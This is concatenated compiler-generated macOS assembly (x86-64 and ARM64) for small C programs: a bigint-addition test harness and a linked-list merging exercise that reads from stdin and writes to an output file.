l_.str.5: ; @.str.5 .asciz "321" l_.str.6: ; @.str.6 .asciz "reverse_string passed\n" l_.str.7: ; @.str.7 .asciz "reverse_string failed\n" l_.str.8: ; @.str.8 .asciz "itoc passed\n" l_.str.9: ; @.str.9 .asciz "itoc failed\n" l_.str.10: ; @.str.10 .asciz "add_digits passed\n" l_.str.11: ; @.str.11 .asciz "add_digits failed\n" l_.str.12: ; @.str.12 .asciz "1" l_.str.13: ; @.str.13 .asciz "99999999999999999999999999999999999999999999" l_.str.14: ; @.str.14 .asciz "000000000000000000000000000000000000000000001" l_.str.15: ; @.str.15 .asciz "add_bigint passed\n" l_.str.16: ; @.str.16 .asciz "add_bigint failed\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _reverse_string ## -- Begin function reverse_string .p2align 4, 0x90 _reverse_string: ## @reverse_string .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movq %rdi, -8(%rbp) leaq L_.str(%rip), %rax popq %rbp retq .cfi_endproc ## -- End function .globl _ctoi ## -- Begin function ctoi .p2align 4, 0x90 _ctoi: ## @ctoi .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movb %dil, %al movb %al, -1(%rbp) movsbl -1(%rbp), %edi callq _isdigit cmpl $0, %eax setne %al xorb $-1, %al andb $1, %al movzbl %al, %eax cltq cmpq $0, %rax je LBB1_2 ## %bb.1: leaq L___func__.ctoi(%rip), %rdi leaq L_.str.1(%rip), %rsi leaq L_.str.2(%rip), %rcx movl $46, %edx callq ___assert_rtn LBB1_2: jmp LBB1_3 LBB1_3: movsbl -1(%rbp), %eax subl $48, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _itoc ## -- Begin function itoc .p2align 4, 0x90 _itoc: ## @itoc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movl %edi, -4(%rbp) movb $48, %al movsbl %al, %eax popq %rbp retq .cfi_endproc ## -- End function .globl _add_digits ## -- Begin function add_digits .p2align 4, 0x90 _add_digits: ## @add_digits .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp movb %dl, %al movb %sil, %dl movb %dil, %sil movb %sil, -1(%rbp) movb %dl, -2(%rbp) movb %al, -3(%rbp) movq %rcx, -16(%rbp) movq %r8, -24(%rbp) popq %rbp retq .cfi_endproc ## -- End function .globl _add_bigint ## -- Begin function add_bigint .p2align 4, 0x90 _add_bigint: ## @add_bigint .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $64, %rsp movb %dl, %al movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movb %al, -17(%rbp) movq %rcx, -32(%rbp) movl $1, -40(%rbp) movl $1, -44(%rbp) movl $1, -48(%rbp) movq -8(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax jne LBB4_2 ## %bb.1: movb $48, -49(%rbp) movl $0, -40(%rbp) jmp LBB4_3 LBB4_2: movq -8(%rbp), %rax movb (%rax), %al movb %al, -49(%rbp) LBB4_3: movq -16(%rbp), %rax movsbl (%rax), %eax cmpl $0, %eax jne LBB4_5 ## %bb.4: movb $48, -50(%rbp) movl $0, -44(%rbp) jmp LBB4_6 LBB4_5: movq -16(%rbp), %rax movb (%rax), %al movb %al, -50(%rbp) LBB4_6: movb -49(%rbp), %dl movb -50(%rbp), %al leaq -33(%rbp), %rcx leaq -34(%rbp), %r8 movsbl %dl, %edi movsbl %al, %esi movsbl -17(%rbp), %edx callq _add_digits movsbl -33(%rbp), %eax cmpl $48, %eax jne LBB4_9 ## %bb.7: movsbl -34(%rbp), %eax cmpl $48, %eax jne LBB4_9 ## %bb.8: movq -32(%rbp), %rax movb $0, (%rax) jmp LBB4_10 LBB4_9: movb -33(%rbp), %cl movq -32(%rbp), %rax movb %cl, (%rax) movq -8(%rbp), %rdi movslq -40(%rbp), %rax addq %rax, %rdi movq -16(%rbp), %rsi movslq -44(%rbp), %rax addq %rax, %rsi movb -34(%rbp), %al movq -32(%rbp), %rcx movslq -48(%rbp), %rdx addq %rdx, %rcx movsbl %al, %edx callq _add_bigint LBB4_10: addq $64, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _print_bigint ## -- Begin function print_bigint .p2align 4, 0x90 _print_bigint: ## @print_bigint .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rax movb (%rax), %al movb %al, -9(%rbp) movsbl -9(%rbp), %eax cmpl $0, %eax jne LBB5_2 ## %bb.1: jmp LBB5_3 LBB5_2: movq -8(%rbp), %rdi addq $1, %rdi callq _print_bigint movsbl -9(%rbp), %esi leaq L_.str.3(%rip), %rdi movb $0, %al callq _printf LBB5_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _make_bigint ## -- Begin function make_bigint .p2align 4, 0x90 _make_bigint: ## @make_bigint .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movq %rdi, -8(%rbp) movq -8(%rbp), %rdi callq _reverse_string movq %rax, -16(%rbp) movq -16(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_reverse_string ## -- Begin function test_reverse_string .p2align 4, 0x90 _test_reverse_string: ## @test_reverse_string .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp leaq L_.str.4(%rip), %rax movq %rax, -8(%rbp) movq -8(%rbp), %rdi callq _reverse_string movq %rax, -16(%rbp) movq -16(%rbp), %rdi leaq L_.str.5(%rip), %rsi callq _strcmp cmpl $0, %eax jne LBB7_2 ## %bb.1: leaq L_.str.6(%rip), %rdi movb $0, %al callq _printf jmp LBB7_3 LBB7_2: leaq L_.str.7(%rip), %rdi movb $0, %al callq _printf LBB7_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_itoc ## -- Begin function test_itoc .p2align 4, 0x90 _test_itoc: ## @test_itoc .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $3, %edi callq _itoc movb %al, -1(%rbp) movsbl -1(%rbp), %eax cmpl $51, %eax jne LBB8_2 ## %bb.1: leaq L_.str.8(%rip), %rdi movb $0, %al callq _printf jmp LBB8_3 LBB8_2: leaq L_.str.9(%rip), %rdi movb $0, %al callq _printf LBB8_3: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_add_digits ## -- Begin function test_add_digits .p2align 4, 0x90 _test_add_digits: ## @test_add_digits .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $55, %edi movl $52, %esi movl $49, %edx leaq -1(%rbp), %rcx leaq -2(%rbp), %r8 callq _add_digits movsbl -1(%rbp), %eax cmpl $50, %eax jne LBB9_3 ## %bb.1: movsbl -2(%rbp), %eax cmpl $49, %eax jne LBB9_3 ## %bb.2: leaq L_.str.10(%rip), %rdi movb $0, %al callq _printf jmp LBB9_4 LBB9_3: leaq L_.str.11(%rip), %rdi movb $0, %al callq _printf LBB9_4: addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _test_add_bigint ## -- Begin function test_add_bigint .p2align 4, 0x90 _test_add_bigint: ## @test_add_bigint .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $48, %rsp leaq L_.str.12(%rip), %rax movq %rax, -8(%rbp) leaq L_.str.13(%rip), %rax movq %rax, -16(%rbp) leaq L_.str.14(%rip), %rax movq %rax, -24(%rbp) movq -8(%rbp), %rdi callq _make_bigint movq %rax, -32(%rbp) movq -16(%rbp), %rdi callq _make_bigint movq %rax, -40(%rbp) movl $100, %edi callq _malloc movq %rax, -48(%rbp) movq -32(%rbp), %rdi movq -40(%rbp), %rsi movq -48(%rbp), %rcx movl $48, %edx callq _add_bigint movq -48(%rbp), %rdi movq -24(%rbp), %rsi callq _strcmp cmpl $0, %eax jne LBB10_2 ## %bb.1: leaq L_.str.15(%rip), %rdi movb $0, %al callq _printf jmp LBB10_3 LBB10_2: leaq L_.str.16(%rip), %rdi movb $0, %al callq _printf LBB10_3: addq $48, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl $0, -4(%rbp) movl %edi, -8(%rbp) movq %rsi, -16(%rbp) callq _test_reverse_string callq _test_itoc callq _test_add_digits xorl %eax, %eax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .space 1 L___func__.ctoi: ## @__func__.ctoi .asciz "ctoi" L_.str.1: ## @.str.1 .asciz "150143348.c" L_.str.2: ## @.str.2 .asciz "isdigit(c)" L_.str.3: ## @.str.3 .asciz "%c" L_.str.4: ## @.str.4 .asciz "123" L_.str.5: ## @.str.5 .asciz "321" L_.str.6: ## @.str.6 .asciz "reverse_string passed\n" L_.str.7: ## @.str.7 .asciz "reverse_string failed\n" L_.str.8: ## @.str.8 .asciz "itoc passed\n" L_.str.9: ## @.str.9 .asciz "itoc failed\n" L_.str.10: ## @.str.10 .asciz "add_digits passed\n" L_.str.11: ## @.str.11 .asciz "add_digits failed\n" L_.str.12: ## @.str.12 .asciz "1" L_.str.13: ## @.str.13 .asciz "99999999999999999999999999999999999999999999" L_.str.14: ## @.str.14 .asciz "000000000000000000000000000000000000000000001" L_.str.15: ## @.str.15 .asciz "add_bigint passed\n" L_.str.16: ## @.str.16 .asciz "add_bigint failed\n" .subsections_via_symbols
the_stack_data/150143348.c
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _create_singly_linked_list_node ; -- Begin function create_singly_linked_list_node .p2align 2 _create_singly_linked_list_node: ; @create_singly_linked_list_node .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur w0, [x29, #-4] mov x0, #16 bl _malloc str x0, [sp] ldur w8, [x29, #-4] ldr x9, [sp] str w8, [x9] ldr x8, [sp] ; kill: def $x9 killed $xzr str xzr, [x8, #8] ldr x0, [sp] ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _insert_node_into_singly_linked_list ; -- Begin function insert_node_into_singly_linked_list .p2align 2 _insert_node_into_singly_linked_list: ; @insert_node_into_singly_linked_list .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur w1, [x29, #-12] ldur w0, [x29, #-12] bl _create_singly_linked_list_node str x0, [sp, #8] ldur x8, [x29, #-8] ldr x8, [x8] ldr x8, [x8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB1_2 b LBB1_1 LBB1_1: ldr x8, [sp, #8] ldur x9, [x29, #-8] ldr x9, [x9] str x8, [x9] b LBB1_3 LBB1_2: ldr x8, [sp, #8] ldur x9, [x29, #-8] ldr x9, [x9] ldr x9, [x9, #8] str x8, [x9, #8] b LBB1_3 LBB1_3: ldr x8, [sp, #8] ldur x9, [x29, #-8] ldr x9, [x9] str x8, [x9, #8] ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _print_singly_linked_list ; -- Begin function print_singly_linked_list .p2align 2 _print_singly_linked_list: ; @print_singly_linked_list .cfi_startproc ; %bb.0: sub sp, sp, #48 .cfi_def_cfa_offset 48 stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] str x1, [sp, #16] str x2, [sp, #8] b LBB2_1 LBB2_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB2_5 b LBB2_2 LBB2_2: ; in Loop: Header=BB2_1 Depth=1 ldr x0, [sp, #8] ldur x8, [x29, #-8] ldr w9, [x8] ; implicit-def: $x8 mov x8, x9 mov x9, sp str x8, [x9] adrp x1, l_.str@PAGE add x1, x1, l_.str@PAGEOFF bl _fprintf ldur x8, [x29, #-8] ldr x8, [x8, #8] stur x8, [x29, #-8] ldur x8, [x29, #-8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB2_4 b LBB2_3 LBB2_3: ; in Loop: Header=BB2_1 Depth=1 ldr x0, [sp, #8] ldr x8, [sp, #16] mov x9, sp str x8, [x9] adrp x1, l_.str.1@PAGE add x1, x1, l_.str.1@PAGEOFF bl _fprintf b LBB2_4 LBB2_4: ; in Loop: Header=BB2_1 Depth=1 b LBB2_1 LBB2_5: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload add sp, sp, #48 ret .cfi_endproc ; -- End function .globl _free_singly_linked_list ; -- Begin function free_singly_linked_list .p2align 2 _free_singly_linked_list: ; @free_singly_linked_list .cfi_startproc ; %bb.0: sub sp, sp, #32 .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 str x0, [sp, #8] b LBB3_1 LBB3_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB3_3 b LBB3_2 LBB3_2: ; in Loop: Header=BB3_1 Depth=1 ldr x8, [sp, #8] str x8, [sp] ldr x8, [sp, #8] ldr x8, [x8, #8] str x8, [sp, #8] ldr x0, [sp] bl _free b LBB3_1 LBB3_3: ldp x29, x30, [sp, #16] ; 16-byte Folded Reload add sp, sp, #32 ret .cfi_endproc ; -- End function .globl _mergeLists ; -- Begin function mergeLists .p2align 2 _mergeLists: ; @mergeLists .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur x0, [x29, #-8] stur x1, [x29, #-16] mov x0, #16 bl _malloc str x0, [sp, #24] ldr x8, [sp, #24] str x8, [sp, #16] b LBB4_1 LBB4_1: ; =>This Inner Loop Header: Depth=1 ldur x8, [x29, #-8] subs x8, x8, #0 cset w8, eq mov w9, #0 str w9, [sp, #12] ; 4-byte Folded Spill tbnz w8, #0, LBB4_3 b LBB4_2 LBB4_2: ; in Loop: Header=BB4_1 Depth=1 ldur x8, [x29, #-16] subs x8, x8, #0 cset w8, ne str w8, [sp, #12] ; 4-byte Folded Spill b LBB4_3 LBB4_3: ; in Loop: Header=BB4_1 Depth=1 ldr w8, [sp, #12] ; 4-byte Folded Reload tbz w8, #0, LBB4_8 b LBB4_4 LBB4_4: ; in Loop: Header=BB4_1 Depth=1 ldur x8, [x29, #-8] ldr w8, [x8] ldur x9, [x29, #-16] ldr w9, [x9] subs w8, w8, w9 cset w8, gt tbnz w8, #0, LBB4_6 b LBB4_5 LBB4_5: ; in Loop: Header=BB4_1 Depth=1 ldur x8, [x29, #-8] ldr x9, [sp, #16] str x8, [x9, #8] ldur x8, [x29, #-8] str x8, [sp, #16] ldur x8, [x29, #-8] ldr x8, [x8, #8] stur x8, [x29, #-8] b LBB4_7 LBB4_6: ; in Loop: Header=BB4_1 Depth=1 ldur x8, [x29, #-16] ldr x9, [sp, #16] str x8, [x9, #8] ldur x8, [x29, #-16] str x8, [sp, #16] ldur x8, [x29, #-16] ldr x8, [x8, #8] stur x8, [x29, #-16] b LBB4_7 LBB4_7: ; in Loop: Header=BB4_1 Depth=1 b LBB4_1 LBB4_8: ldur x8, [x29, #-8] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB4_10 b LBB4_9 LBB4_9: ldur x8, [x29, #-8] ldr x9, [sp, #16] str x8, [x9, #8] b LBB4_10 LBB4_10: ldur x8, [x29, #-16] subs x8, x8, #0 cset w8, eq tbnz w8, #0, LBB4_12 b LBB4_11 LBB4_11: ldur x8, [x29, #-16] ldr x9, [sp, #16] str x8, [x9, #8] b LBB4_12 LBB4_12: ldr x8, [sp, #24] ldr x0, [x8, #8] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: sub sp, sp, #192 .cfi_def_cfa_offset 192 stp x29, x30, [sp, #176] ; 16-byte Folded Spill add x29, sp, #176 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 stur wzr, [x29, #-4] adrp x0, l_.str.2@PAGE add x0, x0, l_.str.2@PAGEOFF bl _getenv adrp x1, l_.str.3@PAGE add x1, x1, l_.str.3@PAGEOFF bl _fopen stur x0, [x29, #-16] bl _readline stur x0, [x29, #-32] ldur x0, [x29, #-32] sub x1, x29, #24 mov w2, #10 bl _strtol mov x8, x0 stur w8, [x29, #-36] ldur x8, [x29, #-24] ldur x9, [x29, #-32] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_2 b LBB5_1 LBB5_1: ldur x8, [x29, #-24] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_3 b LBB5_2 LBB5_2: mov w0, #1 bl _exit LBB5_3: stur wzr, [x29, #-40] b LBB5_4 LBB5_4: ; =>This Loop Header: Depth=1 ; Child Loop BB5_9 Depth 2 ; Child Loop BB5_19 Depth 2 ldur w8, [x29, #-40] ldur w9, [x29, #-36] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB5_27 b LBB5_5 LBB5_5: ; in Loop: Header=BB5_4 Depth=1 mov x0, #16 bl _malloc stur x0, [x29, #-48] ldur x8, [x29, #-48] ; kill: def $x9 killed $xzr str xzr, [x8] ldur x8, [x29, #-48] str xzr, [x8, #8] bl _readline stur x0, [x29, #-64] ldur x0, [x29, #-64] sub x1, x29, #56 mov w2, #10 bl _strtol mov x8, x0 stur w8, [x29, #-68] ldur x8, [x29, #-56] ldur x9, [x29, #-64] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_7 b LBB5_6 LBB5_6: ; in Loop: Header=BB5_4 Depth=1 ldur x8, [x29, #-56] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_8 b LBB5_7 LBB5_7: mov w0, #1 bl _exit LBB5_8: ; in Loop: Header=BB5_4 Depth=1 stur wzr, [x29, #-72] b LBB5_9 LBB5_9: ; Parent Loop BB5_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldur w8, [x29, #-72] ldur w9, [x29, #-68] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB5_15 b LBB5_10 LBB5_10: ; in Loop: Header=BB5_9 Depth=2 bl _readline str x0, [sp, #88] ldr x0, [sp, #88] sub x1, x29, #80 mov w2, #10 bl _strtol mov x8, x0 str w8, [sp, #84] ldur x8, [x29, #-80] ldr x9, [sp, #88] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_12 b LBB5_11 LBB5_11: ; in Loop: Header=BB5_9 Depth=2 ldur x8, [x29, #-80] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_13 b LBB5_12 LBB5_12: mov w0, #1 bl _exit LBB5_13: ; in Loop: Header=BB5_9 Depth=2 ldr w1, [sp, #84] sub x0, x29, #48 bl _insert_node_into_singly_linked_list b LBB5_14 LBB5_14: ; in Loop: Header=BB5_9 Depth=2 ldur w8, [x29, #-72] add w8, w8, #1 stur w8, [x29, #-72] b LBB5_9 LBB5_15: ; in Loop: Header=BB5_4 Depth=1 mov x0, #16 bl _malloc str x0, [sp, #72] ldr x8, [sp, #72] ; kill: def $x9 killed $xzr str xzr, [x8] ldr x8, [sp, #72] str xzr, [x8, #8] bl _readline str x0, [sp, #56] ldr x0, [sp, #56] add x1, sp, #64 mov w2, #10 bl _strtol mov x8, x0 str w8, [sp, #52] ldr x8, [sp, #64] ldr x9, [sp, #56] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_17 b LBB5_16 LBB5_16: ; in Loop: Header=BB5_4 Depth=1 ldr x8, [sp, #64] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_18 b LBB5_17 LBB5_17: mov w0, #1 bl _exit LBB5_18: ; in Loop: Header=BB5_4 Depth=1 str wzr, [sp, #48] b LBB5_19 LBB5_19: ; Parent Loop BB5_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldr w8, [sp, #48] ldr w9, [sp, #52] subs w8, w8, w9 cset w8, ge tbnz w8, #0, LBB5_25 b LBB5_20 LBB5_20: ; in Loop: Header=BB5_19 Depth=2 bl _readline str x0, [sp, #32] ldr x0, [sp, #32] add x1, sp, #40 mov w2, #10 bl _strtol mov x8, x0 str w8, [sp, #28] ldr x8, [sp, #40] ldr x9, [sp, #32] subs x8, x8, x9 cset w8, eq tbnz w8, #0, LBB5_22 b LBB5_21 LBB5_21: ; in Loop: Header=BB5_19 Depth=2 ldr x8, [sp, #40] ldrsb w8, [x8] subs w8, w8, #0 cset w8, eq tbnz w8, #0, LBB5_23 b LBB5_22 LBB5_22: mov w0, #1 bl _exit LBB5_23: ; in Loop: Header=BB5_19 Depth=2 ldr w1, [sp, #28] add x0, sp, #72 bl _insert_node_into_singly_linked_list b LBB5_24 LBB5_24: ; in Loop: Header=BB5_19 Depth=2 ldr w8, [sp, #48] add w8, w8, #1 str w8, [sp, #48] b LBB5_19 LBB5_25: ; in Loop: Header=BB5_4 Depth=1 ldur x8, [x29, #-48] ldr x0, [x8] ldr x8, [sp, #72] ldr x1, [x8] bl _mergeLists str x0, [sp, #16] adrp x8, l_.str.4@PAGE add x8, x8, l_.str.4@PAGEOFF str x8, [sp, #8] ldr x0, [sp, #16] ldr x1, [sp, #8] ldur x2, [x29, #-16] bl _print_singly_linked_list ldur x0, [x29, #-16] adrp x1, l_.str.5@PAGE add x1, x1, l_.str.5@PAGEOFF bl _fprintf ldr x0, [sp, #16] bl _free_singly_linked_list b LBB5_26 LBB5_26: ; in Loop: Header=BB5_4 Depth=1 ldur w8, [x29, #-40] add w8, w8, #1 stur w8, [x29, #-40] b LBB5_4 LBB5_27: ldur x0, [x29, #-16] bl _fclose mov w0, #0 ldp x29, x30, [sp, #176] ; 16-byte Folded Reload add sp, sp, #192 ret .cfi_endproc ; -- End function .globl _readline ; -- Begin function readline .p2align 2 _readline: ; @readline .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 mov x8, #1024 stur x8, [x29, #-8] stur xzr, [x29, #-16] ldur x0, [x29, #-8] bl _malloc str x0, [sp, #24] b LBB6_1 LBB6_1: ; =>This Inner Loop Header: Depth=1 ldr x8, [sp, #24] ldur x9, [x29, #-16] add x8, x8, x9 str x8, [sp, #16] ldr x0, [sp, #16] ldur x8, [x29, #-8] ldur x9, [x29, #-16] subs x8, x8, x9 mov x1, x8 adrp x8, ___stdinp@GOTPAGE ldr x8, [x8, ___stdinp@GOTPAGEOFF] ldr x2, [x8] bl _fgets str x0, [sp, #8] ldr x8, [sp, #8] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB6_3 b LBB6_2 LBB6_2: b LBB6_9 LBB6_3: ; in Loop: Header=BB6_1 Depth=1 ldr x0, [sp, #16] bl _strlen ldur x8, [x29, #-16] add x8, x8, x0 stur x8, [x29, #-16] ldur x8, [x29, #-16] ldur x9, [x29, #-8] subs x9, x9, #1 subs x8, x8, x9 cset w8, lo tbnz w8, #0, LBB6_5 b LBB6_4 LBB6_4: ; in Loop: Header=BB6_1 Depth=1 ldr x8, [sp, #24] ldur x9, [x29, #-16] subs x9, x9, #1 ldrsb w8, [x8, x9] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB6_6 b LBB6_5 LBB6_5: b LBB6_9 LBB6_6: ; in Loop: Header=BB6_1 Depth=1 ldur x8, [x29, #-8] lsl x8, x8, #1 str x8, [sp] ldr x0, [sp, #24] ldr x1, [sp] bl _realloc str x0, [sp, #24] ldr x8, [sp, #24] subs x8, x8, #0 cset w8, ne tbnz w8, #0, LBB6_8 b LBB6_7 LBB6_7: b LBB6_9 LBB6_8: ; in Loop: Header=BB6_1 Depth=1 ldr x8, [sp] stur x8, [x29, #-8] b LBB6_1 LBB6_9: ldr x8, [sp, #24] ldur x9, [x29, #-16] subs x9, x9, #1 ldrsb w8, [x8, x9] subs w8, w8, #10 cset w8, ne tbnz w8, #0, LBB6_11 b LBB6_10 LBB6_10: ldr x8, [sp, #24] ldur x9, [x29, #-16] subs x9, x9, #1 add x8, x8, x9 strb wzr, [x8] b LBB6_11 LBB6_11: ldr x0, [sp, #24] ldur x1, [x29, #-16] bl _realloc str x0, [sp, #24] ldr x0, [sp, #24] ldp x29, x30, [sp, #48] ; 16-byte Folded Reload add sp, sp, #64 ret .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "%d" l_.str.1: ; @.str.1 .asciz "%s" l_.str.2: ; @.str.2 .asciz "OUTPUT_PATH" l_.str.3: ; @.str.3 .asciz "w" l_.str.4: ; @.str.4 .asciz " " l_.str.5: ; @.str.5 .asciz "\n" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _create_singly_linked_list_node ## -- Begin function create_singly_linked_list_node .p2align 4, 0x90 _create_singly_linked_list_node: ## @create_singly_linked_list_node .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $16, %rsp movl %edi, -4(%rbp) movl $16, %edi callq _malloc movq %rax, -16(%rbp) movl -4(%rbp), %ecx movq -16(%rbp), %rax movl %ecx, (%rax) movq -16(%rbp), %rax movq $0, 8(%rax) movq -16(%rbp), %rax addq $16, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _insert_node_into_singly_linked_list ## -- Begin function insert_node_into_singly_linked_list .p2align 4, 0x90 _insert_node_into_singly_linked_list: ## @insert_node_into_singly_linked_list .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movl %esi, -12(%rbp) movl -12(%rbp), %edi callq _create_singly_linked_list_node movq %rax, -24(%rbp) movq -8(%rbp), %rax movq (%rax), %rax cmpq $0, (%rax) jne LBB1_2 ## %bb.1: movq -24(%rbp), %rcx movq -8(%rbp), %rax movq (%rax), %rax movq %rcx, (%rax) jmp LBB1_3 LBB1_2: movq -24(%rbp), %rcx movq -8(%rbp), %rax movq (%rax), %rax movq 8(%rax), %rax movq %rcx, 8(%rax) LBB1_3: movq -24(%rbp), %rcx movq -8(%rbp), %rax movq (%rax), %rax movq %rcx, 8(%rax) addq $32, %rsp popq %rbp retq .cfi_endproc ## -- End function .globl _print_singly_linked_list ## -- Begin function print_singly_linked_list .p2align 4, 0x90 _print_singly_linked_list: ## @print_singly_linked_list .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp subq $32, %rsp movq %rdi, -8(%rbp) movq %rsi, -16(%rbp) movq %rdx, -24(%rbp) LBB2_1: ## =>This Inner Loop Header: Depth=1 cmpq $0, -8(%rbp) je LBB2_5 ## %bb.2: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rdi movq -8(%rbp), %rax movl (%rax), %edx leaq L_.str(%rip), %rsi movb $0, %al callq _fprintf movq -8(%rbp), %rax movq 8(%rax), %rax movq %rax, -8(%rbp) cmpq $0, -8(%rbp) je LBB2_4 ## %bb.3: ## in Loop: Header=BB2_1 Depth=1 movq -24(%rbp), %rdi movq -16(%rbp), %rdx leaq L_.str.1(%rip), %rsi movb $0, %al callq _fprintf LBB2_4: ## in Loop: Header=BB2_1 Depth=1 jmp LBB2_1 LBB2_5: addq $32, %rsp popq %rbp retq 